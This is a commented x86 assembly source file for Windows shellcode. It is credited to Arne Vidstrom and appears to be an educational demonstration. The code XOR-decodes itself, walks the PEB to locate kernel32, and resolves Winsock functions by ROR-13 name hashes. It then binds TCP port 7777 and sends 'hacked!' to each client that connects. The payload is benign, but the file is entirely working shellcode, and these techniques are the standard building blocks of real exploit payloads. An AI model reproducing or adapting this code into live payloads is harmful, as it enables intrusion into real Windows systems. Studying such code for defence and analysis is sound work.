; ; Shellcode that binds to TCP port 7777 and returns the string "hacked!" to those who ; connect to it. ; ; Coded by Arne Vidstrom, http://ntsecurity.nu, http://vidstrom.net ; ; Decode the shellcode jmp short first second: pop eax xor ecx, ecx mov cx, 409 nextone: xor byte [eax], 022h inc eax loop nextone jmp short after first: call second after: ; Set up a stack frame mov ebp, esp sub esp, 48 ; Get a pointer to the PEB (Process Environment Block) from offset 30h in the TEB ; (Thread Environment Block) mov eax, dword [fs:30h] ; Get the ProcessModuleInfo member of PEB - a pointer to a PEB_LDR_DATA structure mov eax, dword [eax+0ch] ; Get the Flink member of the InInitOrderModuleList member of PEB_LDR_DATA - a ; pointer to the first entry in the list of loaded DLLs mov eax, dword [eax+1ch] ; Get a pointer to the second entry in the list (the first one is ntdll.dll, the ; second one is kernel32.dll) mov eax, dword [eax] ; Get the base address of the module and store it at ebp-4 mov eax, dword [eax+08h] mov dword [ebp-4], eax ; Get the address of LoadLibraryA() mov eax, dword [ebp-4] mov esi, 0ec0e4e8eh call get_function_address mov dword [ebp-8], eax ; Load ws2_32.dll push dword 0ff006c6ch push dword 642e3233h push dword 5f327377h push esp call [ebp-8] mov dword [ebp-12], eax ; Get the address of WSAStartup() mov eax, dword [ebp-12] mov esi, 3bfcedcbh call get_function_address mov dword [ebp-16], eax ; Get the address of socket() mov eax, dword [ebp-12] mov esi,492f0b6eh call get_function_address mov dword [ebp-20], eax ; Get the address of bind() mov eax, dword [ebp-12] mov esi, 0c7701aa4h call get_function_address mov dword [ebp-24], eax ; Get the address of listen() mov eax, dword [ebp-12] mov esi, 0e92eada4h call get_function_address mov dword [ebp-28], eax ; Get the address of accept() mov eax, dword [ebp-12] mov esi, 498649e5h call get_function_address mov dword [ebp-32], eax ; Get the address of send() mov eax, dword [ebp-12] mov esi, 0e97019a4h call get_function_address mov dword [ebp-36], eax ; Get the address of closesocket() mov eax, dword [ebp-12] mov esi, 79c679e7h call get_function_address mov dword [ebp-40], eax ; Make enough space to store a WSADATA structure and push a pointer to it sub esp, 400 push esp ; Push the winsock version requested mov eax, 0101h push eax ; Call WSAStartup() call [ebp-16] ; Call socket() mov eax, 6 push eax mov eax, 1 push eax mov eax, 2 push eax call [ebp-20] mov dword [ebp-44], eax ; Set up a sockaddr_in structure and put its address in ebx xor eax, eax push eax push eax push eax push dword 611e0002h mov ebx, esp ; Call bind() mov eax, 16 push eax push ebx push dword [ebp-44] call [ebp-24] ; Call listen() mov eax, 5 push eax push dword [ebp-44] call [ebp-28] socket_loop: ; Call accept() sub esp, 16 mov eax, esp mov ebx, 16 push ebx mov ebx, esp push ebx push eax push dword [ebp-44] call [ebp-32] mov dword [ebp-48], eax ; Call send() push dword 00216465h push dword 6b636168h mov eax, esp xor ebx, ebx push ebx mov ebx, 7 push ebx push eax push dword [ebp-48] call [ebp-36] ; Call closesocket() push dword [ebp-48] call [ebp-40] jmp socket_loop ; ------------------------------------------------------ ; ; Subroutine name: ; ; get_function_address ; ; In: ; ; EAX = base address of the module ; ESI = the hash of the function we want to find ; ; Out: ; ; EAX = the address to the function ; ------------------------------------------------------- get_function_address: ; Get a relative pointer to IMAGE_NT_HEADERS mov ebx, dword [eax+3ch] ; Get a relative pointer to the Export Table mov ebx, dword [eax+ebx+78h] ; Make the pointer absolute add ebx, eax ; Get the number of exported function names mov ecx, dword [ebx+18h] ; Get a pointer to the array of RVA's to exported function names mov edx, dword [ebx+20h] ; Make the pointer absolute add edx, eax next_function: ; Calculate the next array index to use dec ecx ; We might not have found the hash at all test ecx, ecx jz not_found ; Convert to index offset shl ecx, 2 push esi ; Get the name RVA of the currently indexed function mov esi, dword [edx+ecx] ; Make the pointer absolute add esi, eax ; Convert back to index value shr ecx, 2 ; Zero the hash value xor edi, edi push eax next_character: ; Get the current byte of the function name xor eax, eax mov al, byte [esi] ; Have we reached the null at the end of the function name? test al, al jz end_of_name ; Rotate the hash value bits 13 steps to the right ror edi, 13 ; Add the current character to the hash value add edi, eax ; Continue with the next character inc esi jmp next_character end_of_name: pop eax pop esi ; Do the hashes match? cmp edi, esi jnz next_function not_found: ; Get a pointer to the array of ordinals mov edx, dword [ebx+24h] ; Make the pointer absolute add edx, eax ; Convert to index offset shl ecx, 1 ; Get the ordinal of the function mov dx, word [edx+ecx] xor ecx, ecx mov cx, dx ; Get a pointer to the array of function RVA's mov edx, dword [ebx+1ch] ; Make the pointer absolute add edx, eax ; Convert to index offset shl ecx, 2 ; Get a pointer to the function mov esi, dword [edx+ecx] ; Make the pointer absolute add esi, eax mov eax, esi ret